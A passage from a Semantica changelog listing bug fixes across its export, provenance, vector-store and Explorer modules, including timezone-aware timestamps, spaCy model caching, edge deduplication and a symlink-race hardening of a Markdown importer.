- Rendering is gated behind a new `edgeLabelsEnabled` entry in the Effects panel (default on), wired through the existing `GraphEffectToggle`/`GraphEffectsState` plumbing, so dense graphs can still turn labels off
|
||||
- **Fixed during review** (Qodo): two follow-up passes closed gaps the first cut left — label rendering wasn't wired through `explorationEffectsPluginPhaseC.tsx`'s Phase C variant, and toggling the effect off mid-session didn't clear already-rendered labels
|
||||
- New coverage in `explorer/tests/graphSceneState.display.test.ts`
|
||||
|
||||
- **Removed `GraphWorkspaceShell.tsx`, `GraphRuntimeStage.tsx`, and `useGraphData.ts` — a second, unused implementation of the graph-loading/error-handling logic already fixed in `GraphWorkspace.tsx`** (#984, resolves the cleanup tracked in #981 by #980's review note) by @lakshayxi
|
||||
- 1,564 lines removed; the surviving `GraphWorkspace` path is now the only implementation, so the "two copies that drifted apart" root cause #980 fixed can't recur in the copy nobody was maintaining
|
||||
|
||||
- **Explorer README and `docs/explorer-setup.md` corrected to describe the authentication 0.6.5 actually shipped**, plus a documented `/ws/graph-updates` auth note (#1040, fixes #1028) by @Kyou12138
|
||||
- Both docs still claimed the Explorer API had no built-in authentication after v0.6.5 added mandatory `SEMANTICA_API_KEY` enforcement with a `503` fail-closed default; corrected to describe the actual behavior, including that only protected routes require the key (`/api/health`/`/api/info` stay open), the non-loopback-bind CLI warning only fires in anonymous mode or when the key is unset, and `SEMANTICA_API_KEY`/`SEMANTICA_ALLOW_ANONYMOUS` are documented in the environment-variable table
|
||||
|
||||
- **CI: pinned `github/codeql-action` to current v4** (#986) by @ZohaibHassan16, and **pinned Python dependencies in `requirements-ci.txt` for reproducible CI runs** (#945) by @yunaremaia, closing the gap where an unpinned CI dependency could silently change behavior between runs
|
||||
|
||||
- **README now states up front that Semantica's explainability is system-level, not foundation-model-internal** (#1033, #1034) by @KaifAhmad1
|
||||
- Nothing in the README previously scoped what "explainable" meant, leaving readers to assume Semantica could expose or reconstruct an LLM's internal reasoning. A callout now states explicitly that Semantica explains and audits what the AI *system* did — context fed in, decisions produced, provenance, relationships, policies applied — not the model's private internal reasoning, and moved the note near the top of the README rather than leaving it implicit
|
||||
|
||||
### Fixed
|
||||
|
||||
- **Every timestamp an export or a provenance record wrote was timezone-naive** (closes #1114) by @fabio-rovai
|
||||
- `semantica/export/` stamped with `datetime.now().isoformat()`, which reads the machine's **local** clock; `semantica/provenance/` stamped with `datetime.utcnow().isoformat()`, which reads **UTC**. Both produce a naive value and both serialize identically, so nothing downstream can tell which zone a given timestamp belongs to — the same string means two different instants depending on which module wrote it
|
||||
- In RDF the consequence is silent rather than loud. Under XSD 1.1 a value with no timezone compared against one with a timezone is indeterminate whenever the two fall inside the ±14 hour window; SPARQL turns an indeterminate comparison into an error, and `FILTER` discards errors as non-matches. A timezone-qualified query over an Oxigraph store returns an answer with every Semantica-written record quietly absent from it, which is a poor property for `prov:generatedAtTime`, `prov:startedAtTime`, `prov:endedAtTime` and `prov:atTime` to have
|
||||
- New `utc_now()`/`utc_now_iso()` in `semantica/utils/helpers.py`, exported from `semantica.utils`, and used at all 29 call sites in `export/` (`json_exporter`, `yaml_exporter`, `report_generator`, `export_provenance`) and `provenance/` (`manager`, `schemas`, `bridge_axiom`). Values now read `2026-08-19T14:19:04.229937+00:00`: one unambiguous instant, comparable against any correctly stamped value, and valid `xsd:dateTimeStamp`. `sem:exportedAt`'s range in `semantica/ontology/vocabulary/semantica-ns.ttl` is tightened from `xsd:dateTime` accordingly, and its comment no longer has to explain why the weaker range was necessary
|
||||
- `datetime.utcnow()` is deprecated as of Python 3.12 and scheduled for removal; constructing a `ProvenanceEntry` under `-W error::DeprecationWarning` on 3.13 raised, and no longer does
|
||||
- New `tests/export/test_timestamp_timezones.py` and `tests/provenance/test_timestamp_timezones.py`: offset presence on every export and provenance path, PROV-O literals valid as `xsd:dateTimeStamp`, comparison against a timezone-aware instant without `TypeError`, the Oxigraph filter that dropped the naive value (with a bound inside the indeterminate window, so the test cannot pass by accident), and the document `@id` remaining a valid IRI with `+00:00` in it. 11 of the 13 fail on the parent commit
|
||||
- **Fixed during review** (Qodo): once new entries carry `+00:00` and stored ones do not, `ProvenanceManager.query_recorded_between` and `audit_log` compared ISO timestamps as raw strings, so they ordered by spelling rather than by instant — an inclusive naive bound naming a stored offset-bearing timestamp sorted *below* it and dropped the record, and a bound written in another offset landed wherever its digits fell (`19:45+05:30` is 14:15Z, but sorted after 14:19Z). Both now compare instants through a new `to_utc_datetime()` helper that reads a missing offset as UTC, which is what the values written before this change actually were; a bound that cannot be read as a timestamp keeps the historical string comparison rather than raising on a call that used to work
|
||||
- The remaining 147 naive call sites are in `context/`, `vector_store/`, `seed/` and elsewhere, where timestamps are compared against values parsed from previously stored naive strings. Converting those without a read-side migration would raise `TypeError: can't compare offset-naive and offset-aware datetimes` on existing data, so they are deliberately left for a separate change
|
||||
|
||||
- **`split`/chunking paths bypassed the centralized spaCy model cache, reloading the model on every call** (#1042, closes #998) by @Accute9, reviewed by @Sameer6305
|
||||
- `semantica/split/methods.py`'s `split_by_sentences()` and `semantica/split/semantic_chunker.py`'s `SemanticChunker.__init__` each called `spacy.load()` directly instead of reusing the process-level cache added in #889/`semantic_extract/methods.py`'s `load_spacy_model()` — every call/construction re-paid the ~120ms model-load cost independently of `NERExtractor`, which already used the cache
|
||||
- Both now route through `load_spacy_model()`, sharing one cached `Language` instance per model name across `split_by_sentences()`, `SemanticChunker`, and `NERExtractor`; a missing model still falls back to regex/paragraph chunking without poisoning the cache for a later successful load
|
||||
- **Fixed during review** (@Sameer6305): `NERExtractor.__init__()` still had a direct `spacy.load()` call site with the same cache-bypass issue, outside the two files named in #998 but sharing the same root cause; routed through the cache alongside stale test patch targets and a strengthened cache-configuration assertion
|
||||
- **Fixed during review** (@KaifAhmad1): `SemanticChunker.__init__` only caught `OSError` around `load_spacy_model()`, while the sibling fix to `NERExtractor` in this same PR added a broader `except Exception` for a model that is installed but fails at runtime (e.g. a config incompatible with the installed spaCy version). A broken-but-present model crashed `SemanticChunker()` outright instead of degrading to fallback chunking like every other path in this PR. Added the matching `except Exception` branch, leaving `self.nlp` as `None`; new `test_semantic_chunker_falls_back_when_spacy_runtime_is_broken` mirrors the existing `NERExtractor` regression test for the same scenario
|
||||
- New `tests/split/test_spacy_model_cache.py`: cache reuse across repeated calls/instances, shared cache between `split_by_sentences()`/`SemanticChunker`/`NERExtractor`, distinct model names loading separately, missing-model fallback without poisoning the cache, and the broken-runtime fallback added above
|
||||
- `pytest tests/split/test_spacy_model_cache.py tests/split/test_splitter.py tests/split/test_chunkers.py`: all passing (3 pre-existing, unrelated `tests/test_ner_configurations.py` failures confirmed present on `main` before this PR)
|
||||
|
||||
- **`export_yaml` raised a raw `AttributeError` on list input, silently wrote empty exports for unrecognized dict keys, and graph payloads were reconciled differently by every exporter** (#958, closes #956, #952, #953) by @pravit-amp, reviewed by @Sameer6305
|
||||
- Graph payloads circulate under two vocabularies, `entities`/`relationships` and `nodes`/`edges`, and each exporter reconciled them locally with a different idiom — `LPGExporter` in particular dropped every entity whenever `nodes` was present but empty, the exact shape `JSONExporter` emits. A new `normalize_graph_payload()` in `utils/helpers.py` centralizes that decision once, adopted by `LPGExporter`, `ArangoAQLExporter`, `Neo4jCSVExporter`, and both YAML exporters; `ContextGraph.to_dict()` now round-trips through YAML correctly as a result
|
||||
- `export_yaml(records, path)` on a bare list previously failed with `AttributeError` from inside the exporter; it and the other YAML methods now reject non-mapping input with an actionable `ProcessingError` naming the expected keys, since these formats distinguish entities/relationships/triplets and guessing which one a list represents would mislabel the records
|
||||
- `export_yaml({"data": [...]}, path)` previously wrote a structurally valid file with every collection empty, no exception, no warning, and the progress log reporting a completed export. `export_semantic_network`, `export_for_pipeline`, and `export_ontology_schema` now raise `ValidationError` when the payload shares no recognized key with what the method reads, or resolves to nothing while an unread key still holds records — an empty mapping is still accepted, since a genuinely empty graph has no records to lose
|
||||
- **Breaking**: the two cases above, plus a bare list, now raise instead of returning cleanly with data silently dropped or a raw `AttributeError` from exporter internals. Migration: pass records under a recognized key (`{"entities": [...]}` / `{"nodes": [...]}` for `semantic_network`, `{"classes": [...]}` for `schema`)
|
||||
- **Fixed during review** (Qodo): progress tracking could report a completed export before the output directory existed or the file was written; `export()` now creates the directory and serializes before starting tracking, so a rejected export leaves nothing behind
|
||||
- **Fixed during review** (@Sameer6305, round 1): `normalize_graph_payload()`'s collection resolver treated any truthy value as a collection — `{"entities": "abc"}` silently became three single-character records, `{"entities": 42}` leaked a raw `TypeError` from inside `list()`. Collection values are now validated before conversion, rejecting strings/bytes/mappings/non-iterable scalars by name. Separately, `Neo4jCSVExporter._normalize_graph` called the shared resolver with `require_recognized=False`, so it alone kept accepting an unrecognized mapping as a silent empty export; the opt-out (introduced earlier in this same PR, with no other caller) was removed
|
||||
- **Fixed during review** (@Sameer6305, round 2): `YAMLSchemaExporter`'s usable-schema check could treat scalar schema metadata (`version`, `uri`, `title`, `description`) as evidence records had been exported, letting records under an unread key drop silently; and `_is_record()` accepted modules and class/type objects through the generic `__dict__` path, which would have reached exporter internals instead of failing at the boundary. Both closed, with regression coverage
|
||||
- **Fixed during final maintainer review** (before merge): four more gaps in the shared boundary that the earlier rounds didn't reach
|
||||
- `LPGExporter`/`ArangoAQLExporter` called `normalize_graph_payload()` with no type guard, so non-mapping input raised `ValidationError` from inside the resolver — while YAML and `Neo4jCSVExporter` raised `ProcessingError` for the identical mistake, per this PR's own stated contract. The `_require_mapping()` guard that already existed in `yaml_exporter.py` is now shared from `utils/helpers.py` and used by all three
|
||||
- `Neo4jCSVExporter._normalize_graph` checked `isinstance(graph, dict)`, so a non-dict `Mapping` (`MappingProxyType`, `ChainMap`) fell through to the object-attribute branch and was rejected, even though the identical payload exported fine via `LPGExporter`/`ArangoAQLExporter`/YAML. Now checks `isinstance(graph, Mapping)`
|
||||
- `normalize_graph_payload()` accepts dataclass and attribute-bearing object records (`Neo4jCSVExporter._record_to_dict` reads them), but `LPGExporter`/`ArangoAQLExporter` call `.get(...)` directly on resolved entities — an object-shaped record passed validation only to crash with a raw `AttributeError` once used, the exact failure this PR's boundary exists to prevent. Records are now converted to plain dicts at the boundary (`_coerce_records` → new `_record_to_dict`), so every consumer gets a uniform shape regardless of which reading the caller used
|
||||
- Two non-empty spellings of the same collection (e.g. `entities` and `nodes`) holding identical records in a different order were rejected as conflicting, since the check used plain list equality; a caller round-tripping through a dict-keyed cache or a set has no reason to preserve order. Comparison is now an order-independent multiset of each record's canonical JSON form
|
||||
- New regression coverage in `tests/utils/test_normalize_graph_payload.py`: exception-type parity for non-mapping input across `export_lpg`/`export_arango`/`export_neo4j_csv`, dataclass-record conversion verified end-to-end through the same three exporters, `Neo4jCSVExporter` accepting a `MappingProxyType` payload, and reordered-alias equality (plus a duplicate-count case confirming the multiset check still catches real conflicts); 4 existing tests updated to assert the corrected dict-conversion behavior instead of the previous object passthrough
|
||||
- `pytest tests/export tests/utils tests/context tests/test_export_module.py tests/test_export_methods_wrapper.py tests/test_notebooks_simulation.py`: 718 passed, 4 skipped (up from 641 passed, 62 subtests at PR submission); `black`/`isort`/`flake8 --max-line-length=88` clean on every line this PR touches; `python -m build`: succeeds
|
||||
|
||||
- **`ContextGraph.add_edge` had no dedupe — identical edges were stored repeatedly under one shared edge ID, and re-ingest doubled the edge set** (#926, closes #922) by @pravit-amp
|
||||
- `_add_internal_edge` appended to `self.edges`, `edge_type_index`, and `_adjacency` unconditionally, with no check for an edge already present. Edge identity is content-derived (`_resolve_edge_identity` builds `edge_id` from `source_id`/`target_id`/`edge_type`/`weight`/`metadata`/`valid_from`/`valid_until`), so two identical `add_edge` calls produced two edge objects sharing one `edge_id` — the graph already considered them the same edge, it just kept both copies. `self.nodes` already deduped by ID; edges did not, so `stats()["edge_count"]` inflated, `density()` could exceed its mathematical maximum of `1.0`, and a refresh/restore job calling `build_from_entities_and_relationships()` (or reloading a saved graph) doubled the edge set on every cycle
|
||||
- Added an `edge_id -> ContextEdge` index (`_edge_index`), mirroring how `self.nodes` dedupes by node ID. `_add_internal_edge` now returns `False` when the `edge_id` already exists, checked before touching `edges`/`edge_type_index`/`_adjacency` and before firing the mutation callback, so a repeat `add_edge` is a silent no-op with no phantom `ADD_EDGE` audit event
|
||||
- Genuinely parallel edges are unaffected: differing type/weight/metadata/validity still produce distinct content-derived `edge_id`s, so multigraph semantics are preserved
|
||||
- Both state-reset paths (`load_from_file()` and `clear()`) also clear `_edge_index`
|
||||
- New tests: repeat `add_edge` is a no-op, parallel edges with distinct attributes are preserved, re-ingest via `build_from_entities_and_relationships()` stays at one edge, and `clear()` resets the dedupe index
|
||||
- `pytest tests/context/test_context.py`: 31 passed
|
||||
|
||||
- **`POST /api/enrich/extract` returned 503 on every request; the whole `/api/decisions*` family returned 500 as soon as a decision existed** (#886, closes #883, closes #884, closes #889) by @joseedson18jc, reviewed by @Sameer6305
|
||||
- `semantica/explorer/routes/enrich.py` imported `extract_entities`/`extract_relations` from `semantica.semantic_extract.methods`, names that module never defined (only per-strategy variants like `extract_entities_ml` exist) — the `except ImportError` handler reported this as `"semantic_extract module not available"`, masking a wiring bug as a missing dependency. The route now calls `NamedEntityRecognizer`/`RelationExtractor` directly and forwards extracted entities into relation extraction instead of re-deriving them
|
||||
- `ContextGraph.record_decision()` stores `timestamp` as `datetime.now().timestamp()` (a float), while `DecisionResponse.timestamp` was typed `Optional[str]`; passing the value through unconverted failed pydantic validation on every decision route (`/api/decisions`, `/{id}`, `/{id}/chain`, `/{id}/precedents`, `/{id}/compliance`). Added a `field_validator(mode="before")` on `DecisionResponse` normalizing float/int/datetime inputs to ISO-8601
|
||||
- Folds in the fix for #889: `extract_entities_ml`/`extract_relations_similarity`/`extract_relations_dependency` called `spacy.load()` on every invocation (~120ms of a ~132ms call, ~60x the actual extraction work). Added a process-level, lock-guarded `load_spacy_model()` cache in `semantic_extract/methods.py`, keyed by model name; failed loads are not cached, and the separate `get_nlp_model()` cache (different `disable=` pipeline config for similarity work) is kept independent to avoid handing one caller's spaCy pipeline to another
|
||||
- **Fixed during review** (@Sameer6305): capped previously-unbounded input text on `/api/enrich/extract`; tightened the route's exception handling
|
||||
- **Fixed during review** (@KaifAhmad1): the timestamp validator's `math.isfinite()` guard only rejected NaN/inf — a finite-but-out-of-range epoch (e.g. milliseconds mistakenly stored instead of seconds, such as `1723600000000`) still raised an uncaught `OverflowError`/`OSError` from `datetime.fromtimestamp()`, reintroducing an unhandled 500 on `/api/decisions*` for exactly the class of bug this PR closes. Now caught and re-raised as a `ValueError`. Also excluded `bool` from the numeric branch (`isinstance(True, int)` is `True` in Python, so `timestamp=True` was silently coerced to epoch 1 instead of being rejected)
|
||||
- New/updated tests: `tests/explorer/test_explorer_api.py` (`TestRecordedDecisions`, extraction coverage, 4 new `TestDecisionResponseTimestampValidator` cases for the range/bool fixes), `tests/semantic_extract/test_spacy_model_cache.py` (6 tests)
|
||||
- `pytest tests/explorer tests/semantic_extract/test_spacy_model_cache.py`: 266 passed
|
||||
|
||||
- **Explorer UI hid backend failures: graph load hung forever, landing page always showed "System Online"** (#980, closes #977) by @ZohaibHassan16, reviewed by @Sameer6305
|
||||
- `GraphWorkspace.tsx` only destructured `{ data, isLoading, isFetching }` from `useLoadGraph()`, ignoring the `isError`/`error`/`refetch` that `useQuery` (`retry: 0`) already returned. Combined with `GraphLoadingOverlay` having no error prop and `showLoadingOverlay` staying true whenever `loadingProgress` held a stale frame, a backend-down or failed fetch left the graph workspace stuck on the last progress frame indefinitely, with no error message and no way to recover short of a full page reload
|
||||
- `GraphLoadingOverlay` now accepts `error`/`onRetry` and renders an error card with the real fetch error message and a Retry button (`refetch()`) instead of the stuck progress UI
|
||||
- The landing page's `WelcomeScreen` replaced its hardcoded `ready: boolean` (and hardcoded "System Online" text) with a real `checking` / `online` / `offline` status derived from the same connectivity probe already driving the 4th metric card, so the status dot, text, and metric can no longer drift apart or lie about connectivity
|
||||
- **Smaller fixes bundled in the same PR**: search results are now dismissible (previously stayed open indefinitely, pushing the graph down); relevance scores display as rounded whole numbers instead of `96.900`/`138.000`; added a debounced (250ms) typeahead combobox to graph search with arrow-key navigation, `aria-activedescendant`, and Escape-to-close, using the existing `/api/graph/search` endpoint
|
||||
- **Fixed during review** (Qodo): the typeahead's debounced fetch had no `AbortController`, so a fast-typing user could have a stale suggestion response resolve after a newer one, replacing correct suggestions with outdated ones. In-flight requests are now aborted on every re-debounce and when the query is cleared after a selection
|
||||
- **Noted during review** (@Sameer6305): `GraphWorkspaceShell.tsx` contains a third, unused implementation of the same graph-loading/error-handling logic this PR fixes — the issue itself named "two copies that drifted apart" as the root cause the original bug slipped through. Deliberately left out of this PR's scope and tracked separately in #981 rather than blocking this fix
|
||||
- `npx tsc -b`: clean; `test:graph-store`/`test:graph-workspace`/`test:plugin-registry`: 42 passed; `npm run build`: succeeds
|
||||
|
||||
- **Markdown import hardened against TOCTOU symlink races during file reads** (#932, closes #856) by @lakshanmuruganandam, with fixes by @Sameer6305
|
||||
- `AgentMemory._read_markdown_path` read files via `Path.read_text()` after a `Path.is_symlink()` pre-check, leaving a time-of-check/time-of-use window: a path validated as a regular file could be swapped for a symlink before the actual read, causing the importer to follow the link and read an unintended target
|
||||
- Reads now go through a new `_read_markdown_file_content()` helper: the path is opened via low-level `os.open()` with `os.O_NOFOLLOW` on platforms that support it (POSIX), so a symlink substituted after validation fails atomically with `ELOOP` instead of being followed; the resulting file descriptor is then verified with `os.fstat()`/`stat.S_ISREG()` to reject non-regular files (FIFOs, devices) even after a successful open
|
||||
- Directory imports now also exclude symlinked entries from the file listing (`not file_path.is_symlink()`), consistent with the single-file path already rejecting them
|
||||
- **Known limitation**: Windows has no `os.O_NOFOLLOW`, so on that platform the only defense is the earlier `is_symlink()` pre-check, leaving a narrow TOCTOU window; documented inline rather than implying a stronger cross-platform guarantee than the implementation provides
|
||||
- New `tests/context/test_agent_memory_markdown.py` coverage: rejecting a symlinked path at both the private helper and the public `import_data()` API, silently excluding symlinked entries during directory import, and the `fstat()`/`S_ISREG` guard against non-regular files (mocked FIFO)
|
||||
- `pytest tests/context/test_agent_memory_markdown.py`: 46 passed, 4 skipped (symlink-creation tests skip on Windows without `SeCreateSymbolicLinkPrivilege`)
|
||||
|
||||
- **`VectorManager.maintain_store()`/`collect_statistics()` crashed with `AttributeError` on persistent `VectorStore` backends** (#914, closes #855) by @yunaremaia, with fixes by @Sameer6305
|
||||
- Both methods accessed `store.vectors`/`store.metadata` directly, which are only initialized for the `inmemory` backend — any persistent backend (FAISS, Qdrant, Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed immediately. Same root cause as the #839/#843/#845/#848 cluster, but `VectorManager` operates on a `VectorStore` instance from the outside, so the fix needed a public accessor rather than another internal guard
|
||||
- Added a backend-agnostic `VectorStore.count()`: the `inmemory` backend counts its local dict; persistent backends delegate to a `count()` on the wrapped backend store when one exists, or raise `NotImplementedError` — following the `get_vector()`/`get_metadata()` precedent from #843, a missing/uninitialized backend store is never silently reported as an empty, healthy store
|
||||
- `maintain_store()` and `collect_statistics()` now go through `store.count()` instead of touching `.vectors`/`.metadata`
|
||||
- **Fixed during review** (@Sameer6305): the initial version had `count()` implemented at the dispatch level only, with no shipped backend actually providing one, and `maintain_store()` manufactured a vacuous `metadata_count == vector_count` tautology for persistent backends (always reporting `healthy: True` without checking anything). Added real `count()` implementations to `FAISSStore` (`len(index.vector_ids)` — FAISS has no delete path, so this list is always consistent with the index), `SQLiteVecStore`, and `PgVectorStore` (both via `SELECT COUNT(*)`); `Qdrant`/`Pinecone`/`Milvus`/`Weaviate` continue to raise `NotImplementedError` since none of them guarantee a cheap, reliable synchronous count. `maintain_store()` now reports `metadata_count: None` for persistent backends instead of the fabricated equality, with `healthy` meaning "store is reachable," not "metadata verified"
|
||||
- Two earlier Qodo findings (a count() path that silently returned 0 for a missing backend store, and an unvalidated `hasattr` check that could raise `TypeError` on a mis-shaped adapter) were fixed before this review — replaced with `NotImplementedError` and a `getattr`+`callable()` capability check, respectively
|
||||
- New `tests/vector_store/test_vector_manager_persistent.py`: dispatch-level tests for `count()` (inmemory, delegation, missing backend, non-callable `count`, mis-shaped adapter), full `VectorManager` inmemory semantics including divergence detection, persistent-backend dispatch tests, and backend-specific tests against real/mocked FAISS, SQLite (`sqlite-vec`, skipped if unavailable), and PgVector stores
|
||||
- Core `vector_store` suite: 40 passed
|
||||
|
||||
- **`ContextGraph.get_node_property`/`get_node_attributes` "not found" contract clarified; `add_node_attribute` mutation-callback exception safety fixed** (#882, closes #877) by @ZohaibHassan16
|
||||
- `get_node_property` returned `None` for both "node missing" and "property missing" with no way to distinguish them, and `get_node_attributes` returned `{}` for a missing node while its siblings disagreed on the not-found signal (`get_node_property`/`find_node` → `None`, `get_edge_data` → `{}`). Both now accept a `default=` parameter matching `dict.get()`'s convention, defaulting to their historical return values (`None` and `{}` respectively) for backward compatibility. Callers that need to disambiguate "node missing" from "value legitimately absent" can pass a private sentinel as `default`
|
||||
- Added Google-style docstrings to `get_node_property`, `get_node_attributes`, `get_edge_data`, and `find_node` documenting each method's not-found contract, addressing #877's "sibling not-found contract undocumented" gap
|
||||
- **Corrected during review**: the PR as submitted claimed to fix `add_node_attribute` firing its `mutation_callback` "outside `with self._lock`, without holding the lock," but the diff only removed a stray blank line — the callback call remained outside the lock, unchanged. Further investigation found this was not actually a bug: `self._lock` is a `threading.RLock`, and the same release-the-lock-before-invoking-the-callback pattern is used deliberately in `_add_internal_node`/`_add_internal_edge` elsewhere in this class, avoiding holding the lock for the duration of an arbitrary user-supplied callback. The real inconsistency was that, unlike those two siblings, `add_node_attribute`'s callback call wasn't wrapped in `try/except` — a raising callback propagated uncaught here but was caught and logged there. Now wrapped the same way (`except Exception as e: self.logger.warning(...)`)
|
||||
- 13 tests covering happy path, missing node, missing property, sentinel disambiguation, falsy-zero, callback firing/non-firing, and (added during review) a raising callback no longer propagating out of `add_node_attribute`
|
||||
- `pytest tests/context/test_context.py -q`: 27 passed
|
||||
|
||||
- **Three `tests/normalize/` tests failed for reasons unrelated to the normalize implementations: a missing optional-dependency skip guard, an incomplete chardet allowlist, and a UTC/local timezone mismatch** (#881, closes #860) by @aoright
|
||||
- `test_detect_language`/`test_detect_with_confidence` in `tests/normalize/test_language_detector.py` asserted on real `langdetect` output with no skip guard, even though `langdetect` is an optional dependency absent from `pyproject.toml` that `LanguageDetector` already degrades gracefully without (`LANGDETECT_AVAILABLE = False`, falls back to `default_language`) — any environment without it failed both tests unconditionally, including a fresh CI run without optional extras installed. Both are now gated with `@unittest.skipUnless(LANGDETECT_AVAILABLE, ...)`
|
||||
- `test_detect_encoding` in `tests/normalize/test_encoding_handler.py` asserted `chardet.detect()`'s result against a 3-name allowlist (`iso-8859-1`/`windows-1252`/`latin-1`); on a short Latin-1 sample, chardet is free to return other compatible single-byte codepages (e.g. `windows-1253`), which fails the allowlist and then cascades into `test_convert_to_utf8` decoding the bytes as Greek instead of the original text. The test now uses a longer, unambiguous Latin-1 corpus and asserts that the detected encoding round-trip-decodes the original text instead of matching a fixed name list; `test_convert_to_utf8` now passes `source_encoding="latin-1"` explicitly rather than relying on chardet's heuristic auto-detection
|
||||
- `test_normalize_date_relative` in `tests/normalize/test_date_normalizer.py` compared `RelativeDateProcessor`'s local-clock-based `"today"` (`datetime.now()`, naive, UTC-normalized after the fact by `convert_to_utc()`) against a separately-computed UTC reference date — failing intermittently in any timezone east of UTC whenever the local and UTC dates diverge for part of the day. The test now patches `datetime.now()` to a fixed reference time, making the assertion independent of host timezone
|
||||
- `pytest tests/normalize`: 77 passed, 2 skipped (`langdetect` not installed); `black`/`isort`/`flake8 --max-line-length=88` clean on all three changed files. Test-only change; no production code touched
|
||||
|
||||
- **MCP server reported a stale `0.4.0` version instead of the installed package version** (#870, closes #863) by @oiahoon
|
||||
- `semantica/mcp_server/__init__.py` hardcoded `"version": "0.4.0"` in both the MCP `initialize` response (`SERVER_INFO`) and the `semantica://schema/info` resource, regardless of the actual installed `semantica` version — every MCP client (Claude Desktop, Windsurf, Cline, Continue, VS Code Copilot, etc.) showed the wrong server version. Both surfaces now derive from `semantica.__version__`, the package's authoritative version source, so they can no longer drift from `pyproject.toml`
|
||||
- New regression coverage in `tests/test_mcp_server_version.py`, including `!= "0.4.0"` canaries and a cross-surface consistency check
|
||||
- **Fixed along the way**: the separate root-level `mcp/` package (`mcp/__init__.py`, `mcp/server.py`, `mcp/resources/registry.py`) — a companion MCP server implementation not included in the built distribution, but documented in `mcp/__init__.py` as a supported way to run against Claude Desktop/Windsurf/etc. from a source checkout — had the same three hardcoded `0.4.0` literals; fixed the same way, with matching regression tests in `tests/test_mcp_package_version.py`
|
||||
|
||||
- **`VectorStore._filter_by_metadata()` `AttributeError` on all persistent backends** (#857, closes #849) by @TaherTadpatri
|
||||
- `_filter_by_metadata()` iterated `self.metadata` directly, which only exists on the `inmemory` backend — any persistent backend (`faiss`, `qdrant`, `pinecone`, `milvus`, `pgvector`, `sqlite`, `weaviate`) crashed with `AttributeError` on `filter_decisions(query=None, ...)` / metadata-only filtering. Filtering is now delegated to a native `filter_by_metadata()` implemented on each backend store, using backend-native payload/SQL/JSON filtering (Qdrant `scroll()`, Pinecone `query()`, Milvus expression filters, PostgreSQL JSONB, SQLite `json_extract()`, Weaviate collection filters)
|
||||
- **Fixed along the way**: `PineconeStore.get_index()` and `filter_by_metadata()` called a nonexistent `self.describe_index_stats()` on the store itself (the method only exists on the `PineconeIndex` wrapper returned by `self.index`); the resulting `AttributeError` was silently swallowed, so dimension auto-detection always failed quietly. Now correctly calls `self.index.describe_index_stats()`
|
||||
- **Fixed along the way**: `PineconeStore.filter_by_metadata()` probed for filter-only matches using an all-zero dummy query vector, which Pinecone rejects for cosine-metric indexes — the library's own default — making metadata-only filtering silently non-functional out of the box. Now uses a unit vector instead
|
||||
- **Fixed along the way**: `PgVectorStore.filter_by_metadata()`'s list-filter branch formatted boolean values with `str(v)` (`'True'`/`'False'`), never matching PostgreSQL JSONB's lowercase `'true'`/`'false'` text rendering, even though the equivalent scalar-filter branch already handled this correctly
|
||||
- **Fixed along the way**: list-valued metadata fields (e.g. `{"tags": ["python", "js"]}`) could never match a list filter on the SQLite or PostgreSQL backends, because both extracted the whole array as its JSON/text representation instead of matching individual elements — silently diverging from the in-memory backend's set-intersection semantics. SQLite now uses `json_each()` over a `json_type`-guarded array/scalar wrapper; PostgreSQL now uses the `?|` "any array element" operator alongside the existing scalar `= ANY(...)` path
|
||||
- **Fixed along the way**: `FAISSStore.filter_by_metadata(limit=0)` returned one result instead of zero, because the limit check ran after appending the current match
|
||||
- **Fixed along the way**: `MilvusStore`'s metadata expression builder rendered `NaN`/`Infinity` filter values as bare unquoted tokens, producing an invalid Milvus expression whose server-side rejection was then swallowed by a broad `except`, indistinguishable from "no matches"; these values are now rejected up front with a clear `ValidationError`
|
||||
- New/expanded test coverage in `tests/vector_store/test_backend_metadata_filtering.py` (all 7 backends, including the Pinecone dimension/zero-vector, PgVector boolean-list, FAISS `limit=0`, and Milvus `NaN` regressions) and `tests/vector_store/test_sqlite_vec_store.py` (new `TestSQLiteVecStoreFilterByMetadata`, run against the real `sqlite-vec` extension, including the array-vs-scalar intersection case)
|
||||
|
||||
- **`DistanceExporter` silently swallowed metric computation failures, exporting `None` values indistinguishable from a legitimate "no path" result** (#879, closes #874) by @AmirF194
|
||||
- `_betweenness`, `_hop_distance`, `_weighted_distance`, and `_semantic_similarity` each caught `Exception` and returned their sentinel (`None`/`{}`) with no logging; a failed computation and a real "no path exists" looked identical in exported CSV/JSONL/DataFrame data. All four now log a `warning` with `exc_info=True` before returning the sentinel; exported row shape and values are unchanged
|
||||
- **Fixed along the way**: the module logger was built with `get_logger(__name__)`, which double-prefixed it to `semantica.semantica.export.distance_exporter` — a name `setup_logging()` never configures — so this module's logging (including a pre-existing `logger.debug` call) was silent regardless. Now uses `get_logger("export.distance_exporter")`, matching every other exporter in the module
|
||||
- New regression coverage in `tests/export/test_distance_exporter.py`: warnings fire on exception for all four helpers, exported sentinel values/shape stay unchanged, and the legitimate "no KG backend" `None` path still logs nothing
|
||||
- Full `tests/export/` suite: 71 passed
|
||||
|
||||
- **`explain_violations` rendered hardcoded placeholders (`min_count=1`, `max_count=1`) instead of the SHACL shape's real constraint values, and misused the violation message text as the datatype/class value** (#1094) by @cxzg007
|
||||
- `_run_pyshacl` never read `sh:minCount`/`sh:maxCount`/`sh:datatype`/`sh:class` back from the violation's `sh:sourceShape`, so every plain-English explanation was wrong regardless of what the shape actually declared. `SHACLViolation` now carries those four fields (also exposed via `to_dict()`), populated by back-referencing `sh:sourceShape`; `explain_violations` renders the real values, falling back to `"?"` when a value is genuinely absent
|
||||
- **Known limitation**: `sh:qualifiedMinCount`/`sh:qualifiedMaxCount` are not handled yet and still fall back to the `"?"` placeholder
|
||||
- New regression tests cover both the rendering path and the `sh:sourceShape` back-reference (skipped when `pyshacl`/`rdflib` are absent)
|
||||
|
||||
- **Entity merging silently dropped `entity_id` aliases, and exact-match entity resolution had three correctness gaps** (#1086, #1026) by @T1mn
|
||||
- `entity_merger.py`/`merge_strategy.py`/`entity_resolver.py` used inconsistent logic for extracting an entity's id across the merge path, so a merged entity could lose the `entity_id` aliases that let later lookups find it under its old identity. A new `semantica/utils/entity_ids.py` unifies id extraction across all three call sites
|
||||
- `EntityResolver`'s exact-match path is now honored rather than silently falling through to fuzzy matching in some cases; entities with no identifier are preserved instead of being dropped, and blank exact-match names are ignored rather than matching every other blank name
|
||||
- New/expanded coverage in `tests/kg/test_entity_pipeline.py` and `tests/kg/test_entity_resolver_exact.py`
|
||||
|
||||
